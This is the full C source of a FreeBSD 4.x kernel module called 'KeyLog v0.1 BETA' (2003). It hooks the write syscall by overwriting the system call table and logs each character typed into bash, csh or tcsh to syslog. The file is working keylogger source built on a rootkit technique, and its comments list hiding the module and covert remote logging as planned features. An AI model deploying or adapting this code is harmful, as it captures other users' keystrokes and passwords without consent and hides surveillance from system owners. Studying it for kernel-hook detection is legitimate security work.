/*
*
* -=FreeBSD KeyLog v0.1 BETA=-
*
* This KLD logs keystrokes to syslog
* 
*
* It should work with FreeBSD 4.x, tested
* only on 4.6.2 RELEASE. Some tuning is
* most likely needed to port it to FreeBSD 5.x
* (p->p_comm handling seems to have changed a bit).
*
* [Features]
* 1) logging all userinput (write)
* 2) syslog/logfile logging
* 3) convert !isprint() to readable form (still sucks)
*
*
* [ToDo]
* 1) catch read, not only write
* 2) also log to files
* 3) tune the output so that it looks
*    like the "over the shoulder" view.
* 4) hide the mod
* 5) remote, hidden & encrypted logging via
*    client / server klds (?)
* 6) clean & secure the code ;)
*
*
* written 2003 by Gino "dairaen" Thomas
* dairaen@nux-acid.org (http://nux-acid.org)
*
* greetz & shouts to avel,fuhgott,
* gizmo(+other 'vcp' survivors),
* mod6/acmf and others from freebsdhackers.net
*
* Copyright (c) 2003, Gino Thomas
* All rights reserved.
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution. Neither the name of the nux-acid.org nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
*
*/

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/linker.h>
#include <sys/syslog.h>
#include <sys/sysproto.h>
#include <sys/syscall.h>

#include <ctype.h>


int count = 0;

/* args for WRITE */
struct new_write_args {
        int     fd;
        const void *buf;
        size_t  nbyte;
};

/* the WRITE syscall itself */
static int new_write(struct proc *p, struct new_write_args *uap)
{
 int  i=0;
 char kstr[1024+1];  /* from kernelland uap->str */
 int err = 0;
 int size = 0;


 char *point;

  /* copy kernelland --> userland */
  err = copyinstr(uap->buf, &kstr, 1024, &size);
  if (err == EFAULT)
  return(err);

/*
* look if we're dealing with userinput;
* we may loose exploits with that way, so maybe here's
* the right place to put in a 'exploit evristic' 
*
* the attacker could also rename the shell, which would defeat the
* mod (something to change!)...
*
*/
  if(                (strcmp(p->p_comm, "bash") != 0) &&
                     (strcmp(p->p_comm, "csh")  != 0) &&
                     (strcmp(p->p_comm, "tcsh") != 0)) {
  } else {

/*
* catch !isprint() and convert it to readable form...
* probs:
* 1) \n is not easily catched, my workaround could suck
* 2) automatic complete with 'tab' will disturb the keyflow
*    i have no solution for this right now 
*	 (deaktivating it on kernel level maybe...)
*/
     point=kstr;
     switch(kstr[0])
          {
            case 0x00:
                  printf ("[write]: 'NUL'\n");
                  break;
            case 0x01:
                  printf ("[write]: 'SOH'\n");
                  break;
            case 0x02:
                  printf ("[write]: 'STX'\n");
                  break;
            case 0x03:
                  printf ("[write]: 'ETX'\n");
                  break;
            case 0x04:
                  printf ("[write]: 'EOT'\n");
                  break;
            case 0x05:
                  printf ("[write]: 'ENQ'\n");
                  break;
            case 0x06:
                  printf ("[write]: 'ACK'\n");
                  break;
            case 0x07:
                  printf ("[write]: 'BEL'\n");
                  break;
            case 0x08:
                  printf ("[write]: 'BS'\n");
                  break;
            case 0x09:
                  printf ("[write]: 'HT'\n");
                  break;
            case 0x0a:
                  printf ("[write]: 'NL'\n");
                  break;
            case 0x0b:
                  printf ("[write]: 'VT'\n");
                  break;
            case 0x0c:
                  printf ("[write]: 'NP'\n");
                  break;
            case 0x0d:
            /* my 'workaround' for catching '\n', should be replaced */
                  count=1;
                  break;
            case 0x0e:
                  printf ("[write]: 'SO'\n");
                  break;
            case 0x0f:
                  printf ("[write]: 'SI'\n");
                  break;
            case 0x10:
                  printf ("[write]: 'DLE'\n");
                  break;
            case 0x11:
                  printf ("[write]: 'DC1'\n");
                  break;
            case 0x12:
                  printf ("[write]: 'DC2'\n");
                  break;
            case 0x13:
                  printf ("[write]: 'DC3'\n");
                  break;
             case 0x14:
                  printf ("[write]: 'DC4'\n");
                  break;
             case 0x15:
                  printf ("[write]: 'NAK'\n");
                  break;
             case 0x16:
                  printf ("[write]: 'SYN'\n");
                  break;
              case 0x17:
                  printf ("[write]: 'ETB'\n");
                  break;
              case 0x18:
                  printf ("[write]: 'CAN'\n");
                  break;
              case 0x19:
                  printf ("[write]: 'EM'\n");
                  break;
              case 0x1a:
                  printf ("[write]: 'SUB'\n");
                  break;
              case 0x1b:
                  printf ("[write]: 'ESC'\n");
                  break;
              case 0x1c:
                  printf ("[write]: 'FS'\n");
                  break;
              case 0x1d:
                  printf ("[write]: 'GS'\n");
                  break;
              case 0x1e:
                  printf ("[write]: 'RS'\n");
                  break;
              case 0x1f:
                  printf ("[write]: 'US'\n");
                  break;
              case 0x20:
                  printf ("[write]: 'SP'\n");
                  break;
            default:
                if((count!=0) && (kstr[0]=='d')){ /* am i cheating here...? */
                  printf ("[write]: '\\n'\n");
                  count=0;
                }else if(kstr[0]<0x20 || kstr[0]>0x7e){
                       printf ("[write] uap->buf in HEX:'%02x'\n", (0x00FF & kstr[0]) );
                }else{
                       printf("[write] ASCII: '%c'\n",kstr[0]);
                }
                break;
}
}
   return(write(p,uap));
}


/* Args from WRITE and pointer to new syscall */
static struct sysent new_write_sysent = {
        (sizeof(struct write_args) / sizeof(register_t)),
        (sy_call_t *)new_write
};

/* set the internal ID for the call, NO_SYSCALL means next free one */
static int syscall_num_write = NO_SYSCALL;



/* WRITE */
static int
  load_handler_write(struct module *m, int what, void *arg)
  {
          int err = 0;

          switch (what) {
          case MOD_LOAD:
                  sysent[SYS_write]=new_write_sysent;
                  break;
          case MOD_UNLOAD:
                  sysent[SYS_write].sy_call = (sy_call_t *)write;
                  break;
          default:
                  err = EINVAL;
                  break;
      }
          return(err);
  }


/* syscall macro filled out*/
SYSCALL_MODULE(new_write,&syscall_num_write,&new_write_sysent,load_handler_write,NULL);